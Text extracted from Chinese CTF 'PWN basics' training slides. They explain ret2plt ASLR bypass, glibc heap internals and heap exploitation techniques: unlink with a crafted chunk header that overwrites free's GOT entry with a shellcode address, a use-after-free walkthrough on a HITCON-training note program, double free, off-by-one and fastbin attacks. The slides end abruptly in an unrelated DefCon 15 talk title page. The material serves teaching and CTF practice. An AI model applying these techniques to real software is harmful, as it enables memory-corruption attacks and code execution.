思路:在 ASLR 开到 2 时libc中的基址已经躲猫猫了,而 PLT 的函数却没有 (在执行前
就能知道),PLT表中包含全局函数的存根(stub)代码,.text 段中的call 指令并不直
接调用函数,而是先调用位于PLT表中的存根函数(func@PLT),使用 Ret2PLT 的原因
就在于在执行前它的地址并没有被随机化。因此可以把原打算ret2libc目标函数位置变成
return 到plt里面的位置. ASLR doesn't randomize everything
NX enabled
ASLR enabled(2)
PIE disabled
PWN基础入门
Ø 栈溢出漏洞防护ASLR绕过-return-to-plt
buf[100]
Var_4
s
r
ebp+4
ebp-404
ebp
268
Paddings(268)
Ret2plt(system)
A * 268
system@plt
i
0xdeadbeef
/bin/sh
system(“/bin/sh”)
argc
argv
方便演示,这里程序自身调用system(),/bin/sh作为常量放在.rodata段中
system_retaddr
PWN基础入门
Ø 栈溢出漏洞防护ASLR绕过-return-to-plt
system@pl
t
/bin/bash
PWN基础入门
Ø 栈溢出漏洞防护ASLR+NX绕过通用思路
这个思路是通解的思路,即不知道目标程序使用的动态库的版本。
•
同一个模块内,代码段和数据段之间的距离确定,不受随机化影响
•
同一动态库内,每个函数在动态库内部的偏移量是确定的
•
只要泄露出动态库中某个函数的地址,就可以知道该函数在动态库中的偏移。
•
不同动态库中相同函数的偏移量是不同的,那就可以通过这个泄露的偏移量
确定该程序使用的动态库的版本。
•
计算出动态库的基址:动态库的基址=泄露的函数的地址 - 该函数在动态库
中的偏移量
•
计算出system函数的地址:system函数的地址= 动态库的基址 + system函
数在动态库中的偏移量
•
找到 /bin/sh 这个字符串的所在位置,一般动态库里有这个字符串,如果没
有这个字符串就使用能写入的函数,将这个字符串读写到可写入的区域,这
就需要构造ROP链,pop pop pop ret 。
PWN基础入门
Ø ROP技术讲解
PWN基础入门
Ø SROP技术
PWN基础入门
Ø 其他漏洞(整数溢出,I/O File等)
PWN基础入门
Ø 汇编基础(参考REVERSE,这里不细述)
Ø 栈溢出
Ø Linux漏洞安全防护机制与绕过
Ø 其他漏洞(整数溢出、格式化字符串等)
Ø 堆漏洞
Ø ……..
PWN基础入门
Ø 堆漏洞
l 堆基础
l 堆漏洞原理
l 堆漏洞防护与利用(PWN中堆利用是王道!)
PWN基础入门
Ø 堆溢出
l 堆基础
1. 什么是堆?
首先先明确一下堆的概念,堆不同于栈,堆是动态分配的(由操作系统内核或者堆管理器),
只有在程序中需要时才会分配。在 CTF 的 pwn 程序中,栈是程序加载进内存后就会出现,
而堆是由 malloc、alloc、realloc 函数分配内存后才会出现。
windows 和 linux 下的堆分配、管理方式都不同,这里主要讲到的是 CTF 中常出现的
linux 下的堆分配知识。
Linux对堆操作的是由glibc库下的堆管理器(ptmalloc2)来实现的,glibc是GNU发布的libc库,
即c运行库。glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc。glibc
除了封装linux操作系统所提供的系统服务外,它本身也提供了许多其它一些必要功能服务的实
现。
举个简单的例子,C语言中:
char c[100]; 分配在栈中 in stack
char *c = malloc(100); 分配在堆中 in heap
malloc函数的实现由libc提供
PWN基础入门
Ø 堆溢出
l 堆基础
2. 堆在什么位置
Linux为每个进程维护了一个单独的虚
拟地址空间,形式如图所示。内核虚拟
内存包含内核中的代码和数据结构。内
核虚拟内存的某些区域被映射到所有进
程共享的物理页面。每个进程共享内核
的代码和全局数据结构。Linux将虚拟
内存组织成一些区域(也叫做段)的集合。
一个区域(area)就已经存在着的(已分
配的)虚拟内存的连续片(chunk),这些
页是以某种方式相关联的。例如,代码
段、数据段、堆、共享库段,以及用户
栈都是不同的区域。每个存在的虚拟页
面都保存在某个区域中,而不属于某个
区域的虚拟页是不存在的,并且不能被
进程引用。区域允许虚拟地址空间有间
隙。内核不用记录那些不存在的虚报页,
而这样的页也不占用内存、磁盘或者内
核本身中的任何额外资源。
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构
3.1 Malloc调用过程
Linux进程分配的方式: _brk()和_mmap()
如下图,从操作系统角度来看,进程分配内存有两种方式,分别由两个系统调用完成:brk和mmap(不考虑
共享内存)
1.brk是将数据段(.data)的最高地址指针_edata往高地址推;
2.mmap是在进程的虚拟地址空间中(堆和栈中间,称为文件映射区域的地方)找一块空闲的虚拟内存。
这两种方式分配的是虚拟内存,没有分配物理内存。在第一次访问已分配的虚拟地址空间时,发生缺页中断,
操作系统负责分配物理内存,然后建立虚拟内存和物理内存之间的映射关系
动态内存分配器维护着一个进程的虚拟内存区域,称为堆(heap)。系统之间细节不同,但是
不失通用性
分配器将堆视为一组不同大小的块(block)的集合来维护。每个块就是一个连续的虚拟内存
片(chunk),要么是已分配的,要么是空闲的。
分配器有两种基本风格(显式分配器,如c malloc free;隐式分配器,如java)。两种风格
都要求应用显式地分配块。它们的不同之处在于由哪个实体来负责释放已分配的块。
与堆相应的数据结构主要分为
宏观结构:包含堆的宏观信息,可以通过这些数据结构索引堆的基本信息。
微观结构:用于具体处理堆的分配与回收中的内存块,堆的漏洞利用与这些结构(malloc_chunk)密切相关。
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构
在内存中进行堆的管理时,系统基本是以 chunk 作为基本单位,chunk的结构在源码中有定义:
prev_size:相邻的前一个堆块大小。只有在前一个堆块(且该堆块为normal chunk)处于释放状态时才有
意义(p标志位为1时)。作用是用于堆块释放时快速和相邻的前一个空闲堆块融合。该字段不计入当前堆块的
大小计算。在前一个堆块不处于空闲状态时,数据为前一个堆块中用户写入的数据。libc这么做的原因主要
是可以节约4个字节的内存空间,但为了这点空间效率导致了很多安全问题。两个相邻 free chunk 会被合
并成一个,因此该字段总是保存前一个 allocated chunk 的用户数据
size:本堆块的长度。长度计算方式:size字段长度+用户申请的长度+对齐。libc以 size_T长度 * 2 为
粒度对齐。例如 32bit 以 4*2=8byte 对齐,64bit 以 8*2=16byte 对齐。因为最少以8字节对齐,所以
size一定是8的倍数,故size字段的最后三位恒为0,libc用这三个bit做标志flag(p、m、n)。
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构
这三位的作用分别是:
1.NON_MAIN_ARENA 这个堆块是否位于主线程
2.IS_MAPPED 记录当前 chunk 是否是由 mmap 分配的
3.PREV_INUSE 记录前一个 chunk 块是否被分配
这里重点讲解最后一位PREV_INUSE:用来记录前一个 chunk 块是否被分配,被分配的话这个字段的值为
1(即1表示allocated,not free),所以经常会在已分配的堆块中的 size 字段中发现值比原来大 1 个字节。libc
判断 当前堆块是否处于free状态的方法 就是 判断下一个堆块的 pre_inuse 是否为 1 ,这里也是 double free
和 null byte offset 等漏洞利用的关键。所以前一个堆块的释放与否都和这两个字段(pre_size、size)的值
有关,这是因为便于内存的释放操作(free)
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构
fd & bk:双向指针,用于组成一个双向空闲链表。故这两个字段只有在堆块free后才有意义。堆块在
alloc状态时,这两个字段内容是用户填充的数据。两个字段可以造成内存泄漏(libc的bss地址),Dw
shoot等效果。
fd: Forward pointer --本字段指向同一 bin 中的下一个 free chunk(free chunk 链表的前驱指针);
bk: Backward pointer--本字段指向同一 bin 中的上一个 free chunk(free chunk 链表的后继指针)。
值得一提的是,堆块根据大小,libc使用fastbin、chunk等逻辑上的结构代表,但其存储结构上都是
malloc_chunk结构,只是各个字段略有区别,如fastbin相对于chunk,不使用bk这个指针,因为fastbin
freelist是个单向链表。
结构体中最后两个指针 fd_nextsize 和 bk_nextsize,这两个指针只在 largebin 中使用,其他情况下为
NULL。
无论一个 chunk 的大小如何,处于分配状态还是释放状态,它们都使用一个统一的结构
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构
可以根据 chunk 的状态将其分为三种
allocated chunk、
free chunk、
top chunk
顾名思义,是堆中第一个堆块。相当于一个”
带头大哥”,程序以后分配到的内存到要放在
他的后面。在系统当前的所有 free
chunk(无论那种 bin),都无法满足用户请
求的内存大小的时候,将此 chunk 当做一个
应急消防员,分配给用户使用。
其中在 free chunk中有一种特殊的
chunk(last remainder chunk):
last remainder chunk:
从free chunk中malloc时,如果该chunk足
够大,那么将其分为两部分,未分配的放到
last remainder中并交由 unsorted bin
管理。
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构
一个已经分配的 chunk 的样子如下:我们称前两个字段称为 chunk header,后面的部分称为
user data。每次 malloc 申请得到的内存指针,其实指向 user data 的起始处。
当一个 chunk 处于使用状态时,它的下一个 chunk 的 prev_size 域无效,所以下一个 chunk
的该部分也可以被当前chunk使用。这就是chunk中的空间复用。
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构
被释放的 chunk 被记录在链表中(可能是循环双向链表,也可能是单向链表),具体结构如下:
可以发现,如果一个
chunk 处于 free 状态,那
么会有两个位置记录其相
应的大小
1.本身的 size 字段会记录.
2.它后面的 chunk 会记录.
一般情况下,物理相邻的
两个空闲 chunk 会被合并
为一个 chunk 。堆管理器
会通过 prev_size 字段以
及 size 字段合并两个物理
相邻的空闲 chunk 块。
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构(bin)
用户释放掉的 chunk 不会马上归还给系统,ptmalloc(程序和系统之间的中间商)会统一管
理 heap 和 mmap 映射区域中的空闲的chunk,free掉一个chunk时根据chunk大小加入到
对应的bin中,将相似大小的chunk用链表链接,此链表称为bin(相当于垃圾桶),用于保存空
闲堆块。当用户再一次请求分配内存时,ptmalloc 分配器会试图在空闲的chunk中挑选一块
合适的给用户。这样可以避免频繁的系统调用,降低内存分配的开销。
在具体的实现中,ptmalloc 采用分箱式方法对空闲的 chunk 进行管理。首先,它会根据
空闲的 chunk 的大小以及使用状态将 chunk 初步分为4类:
fast bins,small bins,large bins,unsorted bin
bin在内存中用来管理free chunk,bin为带有头结点(链表头部不是chunk)的链表数组
每类中仍然有更细的划分,相似大小的 chunk 会用双向链表链接起来。也就是说,在每类
bin 的内部仍然会有多个互不相关的链表来保存不同大小的 chunk。
对于 small bins,large bins,unsorted bin 来说,Ptmalloc 将它们维护在同一个数
组中。这些bin对应的数据结构在 malloc_state 中,如下:
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构(bin)
虽然每个 bin 的表头使用 mchunkptr 这个数据结构,但是这只是为了方便我们将每个 bin 转化
为 malloc_chunk 指针。我们在使用时,会将这个指针当做一个 chunk 的 fd 或 bk 指针来操作,
以便于将处于空闲的堆块链接在一起。这样可以节省空间,并提高可用性。那到底是怎么节省
的呢?这里我们以32位系统为例
可以看出除了第一个bin(unsorted bin)外,后面的每个bin会共享前面的bin的字段,将其视
为malloc chunk部分的prev_size和size。这里也说明了一个问题,bin的下标和我们所说的第
几个bin并不是一致的。同时,bin表头的 chunk 的 prev_size 与 size 字段不能随便修改,因
为这两个字段是被其它bin所利用的。
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构(bin)
数组中的 bin 依次介绍如下(32位系统):
•
索引1为 unsorted bin,字如其面,这里面的 chunk 没有进行排序,存储的 chunk 比较杂。
•
索引从 2 到 63 的 bin 称为 small bin,同一个 small bin 链表中的 chunk 的大小相同。两个
相邻索引的 small bin 链表中的 chunk 大小相差的字节数为2个机器字长,即32位相差8字
节,64位相差16字节。
•
索引64到126的bin被称作 large bin。large bins 中的每一个 bin 都包含一定范围内的
chunk,其中的chunk 按 fd 指针的顺序从大到小排列。相同大小的chunk同样按照最近使
用顺序排列。
此外,上述这些bin的排布都会遵循一个原则:任意两个物理相邻的空闲chunk不能在一起。
需要注意的是,并不是所有的 chunk 被释放后就立即被放到 bin 中。ptmalloc 为了提高分配
的速度,会把一些小的 chunk 先放到 fast bins 的容器内。而且,fastbin 容器中的 chunk 的使
用标记总是被置位的,所以不满足上面的原则。
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构(bin)
Fast Bin:
•
根据chunk大小维护多个单向链表
•
sizeof(chunk) < (80 * SIZE_SZ / 4)(bytes)
•
单向链表,后进先出FILO,后free的先被malloc
•
拥有维护固定大小chunk的10个链表
•
被free的堆块仍被标记为inuse(防止堆块合并)
•
每个链表中的size相同,以8字节为单位递增
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构(bin)
smallbin:
•
双向循环链表(FIFO)
•
sizeof(chunk) < 512 (bytes)
•
每个链表中的size相同,以8字节为单位递增
largebin:
•
双向循环链表
•
sizeof(chunk) >= 512 (bytes)
•
free chunk中多两个指针分别指向前后的large chunk
•
链表中chunk大小不固定,先大后小
unsortedbin:
•
只有一个链表、双向循环链表(FIFO)、 不排序
•
任何大小的chunk都可以存在于Unsorted bin中
•
暂时存储free后的chunk,一段时间后会将chunk放入对应的bin中
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构(bin)
PWN基础入门
Ø 堆溢出
l 堆基础
3.堆的数据结构
程序第一次进行 malloc 的时候,heap 会被分为两块,一块给用户,剩下的那块就是 top
chunk。其实,所谓的 top chunk 就是处于当前堆的物理地址最高的 chunk。这个 chunk 不属
于任何一个 bin,它的作用在于当所有的 bin 都无法满足用户请求的大小时,如果其大小不小
于指定的大小,就进行分配,并将剩下的部分作为新的 top chunk。否则,就对 heap 进行扩展
后再进行分配。在 main arena 中通过 sbrk 扩展 heap,而在 thread arena 中通过 mmap 分配
新的 heap。
对于堆管理的实现,比较直观的印象:
u 将一片内存切分成块
u 使用合理的数据结构来组织(链表、树、等等)
u 被释放的堆应该被快速重用
u 适当减少堆碎片的产生
u 加上一丢丢的安全机制
u 为了减少系统调用的次数,heap allocator充当了中间层的作用
u 从前没有堆,brk之后就有了堆
u 这一片连续空间叫做arena,因为是主线程创建的arena,所以被称为main_arena
PWN基础入门
Ø 堆漏洞
l 堆基础
l 堆漏洞原理
l 堆漏洞防护与利用(PWN中堆利用是王道!)
PWN基础入门
堆溢出是指程序向某个堆块中写入的字节数超过了堆块本身可使用的字节数(之所
以是可使用而不是用户申请的字节数,是因为堆管理器会对用户所申请的字节数进
行调整,这也导致可利用的字节数都不小于用户申请的字节数),因而导致了数据
溢出,并覆盖到物理相邻的高地址的下一个堆块。
不难发现,堆溢出漏洞发生的基本前提是
• 程序向堆上写入数据。
• 写入的数据大小没有被良好地控制。
对于攻击者来说,堆溢出漏洞轻则可以使得程序崩溃,重则可以使得攻击者控制程序执行流
程。
堆溢出是一种特定的缓冲区溢出(还有栈溢出, bss 段溢出等)。但是其与栈溢出所不同的
是,堆上并不存在返回地址等可以让攻击者直接控制执行流程的数据,因此我们一般无法直
接通过堆溢出来控制 EIP 。一般来说,我们利用堆溢出的策略是:
1.覆盖与其物理相邻的下一个 chunk 的内容(prev_size、size、chunk content),从而
改变程序固有的执行流。
2.利用堆中的机制(如 unlink 等 )来实现任意地址写入( Write-Anything-Anywhere)
或控制堆块中的内容等效果,从而来控制程序的执行流。
Ø 堆漏洞原理
l 堆溢出(unlink)
PWN基础入门
Ø 堆漏洞原理
l 释放后重用(Use After Free)
简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被
使用。但是其实这里有以下几种情况:
•
内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
•
内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没
有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
•
内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代
码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的
问题。
而我们一般所指的 Use After Free 漏洞主要是后两种。此外,我们一般称被释放后没有被
设置为 NULL 的内存指针为 dangling pointer。
PWN基础入门
Ø 堆漏洞原理
l 重复释放(Double Free)
Double Free其实就是同一个指针free两次。free函数在释放堆块时,会通过隐式链表判断相邻前、后堆块
是否为空闲堆块;如果堆块为空闲就会进行合并,然后利用Unlink机制将该空闲堆块从Unsorted bin中取
下。如果用户精心构造的假堆块被Unlink,很容易导致一次固定地址写,然后转换为任意地址读写,从而
控制程序的执行。
对一个指向malloc分配的heap内存的指针p进行free之后,并没有将该指针置NULL。导致,即使free之后
指针p仍然指向heap内存,潜在着利用的可能。
l Off By One
严格来说 off-by-one 漏洞是一种特殊的溢出漏洞,off-by-one 指程序向缓冲区中写入时,写入
的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节,影响了下一个内存
块的头部信息,进而造成了被利用的可能。
off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当
然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括
•
使用循环语句向堆块中写入数据时,循环的次数设置错误(这在 C 语言初学者中很常见)导
致多写入了一个字节。
•
字符串操作不合适
一般来说,单字节溢出被认为是难以利用的,但是因为 Linux 的堆管理机制 ptmalloc 验证的松
散性,基于 Linux 堆的 off-by-one 漏洞利用起来并不复杂,并且威力强大。 此外,需要说明的
一点是 off-by-one 是可以基于各种缓冲区的,比如栈、bss 段等等,但是堆上(heap based)
的 off-by-one 是 CTF 中比较常见的。我们这里仅讨论堆上的 off-by-one 情况。
PWN基础入门
Ø 堆漏洞原理
l Chunk Extend and Overlapping
https://www.cnblogs.com/hac425/p/941679
2.html
chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk
overlapping 的效果。这种利用方法需要以下的时机和条件:
•
程序中存在基于堆的漏洞(如off-by-one、UAF等)
•
漏洞可以控制 chunk header 中的数据
ptmalloc 通过 chunk header 的数据判断 chunk 的使用情况和对 chunk 的前后块
进行定位。简而言之,chunk extend 就是通过控制 size 和 pre_size 域来实现跨
越块操作从而导致 overlapping 的。
chunk overlap 堆块重叠,是一种用于漏洞利用的堆排布技术,无论是能够造成
8~16字节以上的大范围溢出,还是仅溢出一个字节的off-by-one,都有可能造成
chunk overlap,灵活运用堆排布构造chunk overlaping 能够得到很powerful的漏洞
利用效果。chunk overlap 堆块重叠,其目的是通过修改chunk->size使得heap部分
的chunk重叠出现混乱,从中作梗。之所以会出现chunk overlaping,是由于
ptmalloc中对chunk的识别使用的边界标记法,是通过size,prev_size来上下计算确
定chunk边界而无论是size还是prev_size都容易oveflow,size的修改会造成堆空间
的分配与释放混乱.
PWN基础入门
Ø 堆漏洞原理
l Chunk Extend and Overlapping
https://www.cnblogs.com/hac425/p/941679
2.html
2次malloc
free(ptr)
malloc(0x30)
(ptr-0x8)=0x41
Chunk Extend/Shrink 可
以做什么?
一般来说,这种技术并不能
直接控制程序的执行流程,
但是可以控制 chunk 中的
内容。如果 chunk 存在字
符串指针、函数指针等,就
可以利用这些指针来进行信
息泄漏和控制执行流程。此
外通过 extend 可以实现
chunk overlapping,通
过 overlapping 可以控制
chunk 的 fd/bk 指针从而
可以实现 fast bin
attack 等利用。
PWN基础入门
Ø 堆漏洞
l 堆基础
l 堆漏洞原理
l 堆漏洞利用(PWN中堆利用是王道!)
PWN基础入门
Ø 堆漏洞
l 堆漏洞利用
堆漏洞利用一览图 待补充
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
unlink的目的:把一个双向链表中的空闲块拿出来,然后和目前物理相邻的 free
chunk 进行合并。这实际上是对chunk的fd和bk指针的操作,fd_nextsize和
bk_nextsize只有在chunk是large bins chunk时才会用到,而一般情况下很少
用到。
unlink攻击的前提条件:程序必须有个地方存储着malloc返回的地址,例如bss
段中存放chunk地址的全局变量数组
unlink攻击的本质:是对fd和bk这两个指针的利用
当需要合并相邻的free chunk时用到unlink,在free的链表中把chunk块
脱下来,然后可以把新的free的chunk块放到bins中管理~合并主要分为
2种情况:
1、向后合并
2、向前合并
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
1、向后合并
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
1、向后合并
当chunk2 free完了,发现上一个块chunk1也是free状态的,就抱大腿合并起来,指挥权交给
chunk1,指向chunk2的ptr指针现在指向chunk1,size也变为size+presize,如右图所示:
接着因为使用完了会进行分箱式管理,因此这个新的free的chunk1不会很快回到操作系统,于是
需要从所在的free的chunk链中进行unlink(有fd指针和bk指针)再放到unsorted bin中保存。
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
2、向前合并
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
2、向前合并
当chunk1 free完了,发现相邻的chunk2也是free的,会先进行unlink(让chunk2先脱链,有fd
和bk指针),然后再进行合并:size = size + nextsize,ptr指向不变,还是自己:
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
从左边的漏洞源程序可以看出,用户输入argv[1]复制给了堆
缓冲区first,没有任何大小限制,因此,当用户输入大于
666 字节时,它就会覆盖下一个chunk的chunk header——这
可以导致任意代码执行,gdb跟踪调试得到first chunk、
second chunk、top chunk等堆块的size分别是0x2a1、
0x11、0x20d51
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
从左边的漏洞源程序可以看出,用户输
入argv[1]复制给了堆缓冲区first,没
有任何大小限制,因此,当用户输入大于
666 字节时,它就会覆盖下一个chunk
的chunk header——这可以导致任意代码
执行,而攻击的核心思路就是利用glibc
malloc的unlink机制。gdb跟踪调试得
到first chunk、second chunk、top
chunk等堆块的size分别是0x2a1、
0x11、0x20d51
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
unlink攻击技术就是利用”glibc malloc”的内存回
收机制,将左图中的second chunk给unlink掉,并
且,在unlink的过程中使用shellcode地址覆盖掉
free函数(或其他函数也行)的GOT表项。这样当程
序后续调用free函数的时候(如上面代码[5]),就转
而执行我们的shellcode了。显然,核心就是理解
glibc malloc的free机制。
问题: 怎么触发unlink?
制造堆块合并的场景:
•
strcpy进行second chunk header覆盖
•
free(first)触发unlink进行堆块向前合并
•
free(second)触发shellcode执行
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
值
说明
Prev_size = 偶数
这样其PREV_INUSE位等于0,表明前一个chunk处
于free状态,可以引发向前合并(调用unlink函数)
Size = -4
next-next chunk size -> next chunk prev_size
Fd = free_addr -12
free函数的got表地址address – 12
Bk = shellcode_addr
shellcode的地址
构造覆盖第二个chunk的chunk header数据如下:
那么当程序在[4]处调用free(first)后会发生什么呢?
一、向后合并
鉴于first的前一个chunk非free的,所以不会发生向后合并操作。
二、向前合并
先判断后一个chunk是否为free,前文已经介绍过,glibc malloc通过如下代码
判断:
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
从上面代码可以知道,它是通过将nextchunk + nextsize计算得到指向下下一个chunk的指
针,然后判断下下个chunk的size的PREV_INUSE标记位。在本例中,此时nextsize被我们设
置为了-4,这样glibc malloc就会将next chunk的prev_size字段看做是next-next chunk
的size字段,而我们已经将next chunk的prev_size字段设置为了一个偶数,因此此时通过
inuse_bit_at_offset宏获取到的nextinuse为0,即next chunk为free!既然next chunk
为free,那么就需要进行向前合并,所以就会调用unlink(nextchunk, bck, fwd)函数。真
正的重点就是这个unlink函数!
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
Prev_size
size
fd
Bk
. . . . . .
P
FD
BK
Prev_size
size
fd
Bk
. . . . . .
Prev_size
size
fd
Bk
. . . . . .
free_addr
free_addr - 12
Shellcode_addr
(free_addr – 12) ->bk =
shellcode_addr
shellcode_addr -> fd = free_addr –
12
free_addr = shellcode_addr
P->fd->bk = P->bk.
P->bk->fd = P->fd.
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
这样,当程序在代码[5]处再次执行free的时候,就会转而执行shellcode了:
在较低的glibc版本下,没有校验机制,利用程序能
够正常获得shell执行命令,但在新版本下的
glibc增加了对应的安全检查机制,执行exp将会
报错:
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
新版本的glibc malloc针对unlink利用主要增加了如下安全检测机制:
l Double Free检测
该机制不允许释放一个已经处于free状态的chunk。因此,当攻击者将second chunk的
size设置为-4的时候,就意味着该size的PREV_INUSE位为0,也就是说second chunk之前
的first chunk(我们需要free的chunk)已经处于free状态,那么这时候再free(first)
的话,就会报出double free错误。相关代码如下:
l next size非法检测
该机制检测next size是否在8到当前arena的整个系统内存大小之间。因此当检测到next
size为-4的时候,就会报出invalid next size错误。相关代码如下:
PWN基础入门
Ø 堆漏洞利用
堆溢出利用--unlink
l 双链表冲突检测
该机制会在执行unlink操作的时候检测链表中前一个chunk的fd与后一个chunk的bk是否都
指向当前需要unlink的chunk。这样攻击者就无法替换second chunk的fd与fd了。相关代
码如下:
即便如此,依然有办法可以绕过unlink安全检测机制(比如伪造chunk等)
PWN基础入门
UAF
Ø 堆漏洞利用
HITCON-training
从add_note菜单项,
我们可以看出程序最
多可以添加 5 个 note。
每个 note 有两个字
段 put 与 content,
其中 put 会被设置为
一个函数,其函数会
输出 content 具体的
内容。
PWN基础入门
UAF
Ø 堆漏洞利用
HITCON-training
print_note 就是简单的根
据给定的 note 的索引来输
出对应索引的 note 的内容。
delete_note 会根据给定的索引来释
放对应的 note。但是值得注意的是,
在 删除的时候,只是单纯进行了
free,而没有设置为 NULL,那么显
然,这里是存在 Use After Free
漏洞的。
PWN基础入门
UAF
Ø 堆漏洞利用
HITCON-training
如何利用UAF?
从add_note函数我们可以看出,一个note是8个字节,分
别存放put和content两个指针,然后程序根据输入的
size来申请指定大小的内存,然后用来存储content,其
中put会被赋值为print_note_content函数地址,由于
程序里自带magic函数(读取flag),这里思路是修改
note的 put字段为magic函数的地址,这样当调用print
note的时候就会直接执行magic函数,打印出flag!
put_ptr
content_ptr
content
PWN基础入门
UAF
Ø 堆漏洞利用
利用步骤如下:
1.Malloc note0,size =16,content = ‘aaaa’.
2.Malloc note1,size =16,content = ‘bbbb’.
3.Free note0.
4.Free note1.
5.Malloc note2,size = 8,conten = addr(magic)
6.Print note0,got the flag
Note0
fastbin[0] fastbin[1] fastbin[2] fastbin[3] …..
Note0_content:
aaaa
3
Note1
Note1_content:
bbbb
4
Size=16
Size=24
Size=32
Size=40
Note2
5
Note2_content:
Addr(magic)
3
4
6
PWN基础入门
Double free
Ø 堆漏洞利用
double free的原理其实和堆溢出的原理差不多,都是通过unlink这个双向链表删除的宏来利用
的,只是double free需要由自己来伪造整个chunk并且欺骗操作系统。
在堆漏洞利用里,很多都是基于触发unlink来实现任意代码执行的,double free也是基于此。不同于unlink的
是,unlink是利用溢出来伪造chunk,实现unlink的。而double free则一般是需要至少获得三个连续的chunk,
再全部free。之后再重新分配两个大chunk(能够覆盖前面free的三个chunk),通过伪造p(利用绕过unlink
的检查的技术伪造)chunk和一个引导触发unlink的chunk即可。
PWN基础入门
Double free
Ø 堆漏洞利用
待完善优化
PWN基础入门
Off-By-One
Ø 堆漏洞利用
off-by-one 利用思路:
溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,
或是覆盖其他块数据,也可使用 NULL 字节溢出的方法
溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use
位被清,这样前一堆块会被认为是 free 块。
(1)这时可以选择使用前面提到的 unlink 方法进行处理。
(2)另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。
此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的后一块(理论上是当
前正在 unlink 的块)与当前正在 unlink 的块大小是否相等。
Chunk Extend and Overlapping
chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk
overlapping 的效果。这种利用方法需要以下的时机和条件:
•
程序中存在基于堆的漏洞
•
漏洞可以控制 chunk header 中的数据
PWN基础入门
Chunk Extend and Overlapping
Ø 堆漏洞利用
chunk extend 是堆漏洞的一种常见利用手法,通过 extend 可以实现 chunk
overlapping 的效果。这种利用方法需要以下的时机和条件:
•
程序中存在基于堆的漏洞
•
漏洞可以控制 chunk header 中的数据
待完善优化
Gdb- 插件 gef!!
PWN基础入门
堆溢出利用--Malloc Maleficarum
Ø 堆漏洞利用
从 2004 年末开始,glibc malloc 变得更可靠了。之后,类似 unlink 的技巧已经废
弃,攻击者没有线索。但是在 2005 年末,Phantasmal Phatasmagoria 带来了下面
这些技巧,用于成功利用堆溢出:
House of Prime
House of Mind
House of Force
House of Lore
House of Spirit
…
待完善优化
PWN基础入门
Fast-Bin-Attack
Ø 堆漏洞利用
fastbin attack 是一类漏洞的利用方法,是指所有基于 fastbin 机制的漏洞利用方法。
这类利用的前提是:
•
存在堆溢出、use-after-free 等能控制 chunk 内容的漏洞
•
漏洞发生于 fastbin 类型的 chunk 中
如果细分的话,可以做如下的分类:
•
Fastbin Double Free
•
House of Spirit
•
Alloc to Stack
•
Arbitrary Alloc
其中,前两种主要漏洞侧重于利用 free 函数释放真的 chunk 或伪造的 chunk,然后
再次申请 chunk 进行攻击,后两种侧重于故意修改 fd 指针,直接利用 malloc 申请
指定位置 chunk 进行攻击。
PWN实例讲解与演示
第四部分
PWN解题总结
第五部分
根据比赛经验,CTF中PWN题目类型主要为如下几类:
PWN题目类型总结
PWN题目类型总结
PWN
Level 1:Basic Secuity Vulnerabilities
Level 2:Bypassing Exploit Mitigation Techniques
Level 3:Heap Vulnerabilities
Stack
Heap
Bypass
Canary,NX,PIE/ASLR
Stack Based Buffer Overflow
Integer Overflow
Off-By-One (Stack Based)
Heap overflow using unlink
Heap overflow using Malloc Maleficarum
Off-By-One (Heap Based)
Use After Free
Thank You!
谢谢!
北京朝阳区酒仙桥路6号院2号楼 100015
Building 2, 6 Haoyuan, Jiuxianqiao Road, Chaoyang
District,Beijing,P.R.C. 100015
Tel +86 10 5682 2690 Fax +86 10 5682 2000 | pdf |
DefCon 15 , August 3-5, 2007, Las Vegas, NV, USA
Fighting
Fighting malware
malware on your own
on your own
Vitaliy Kamlyuk
Senior Virus Analyst
Kaspersky Lab
[email protected]
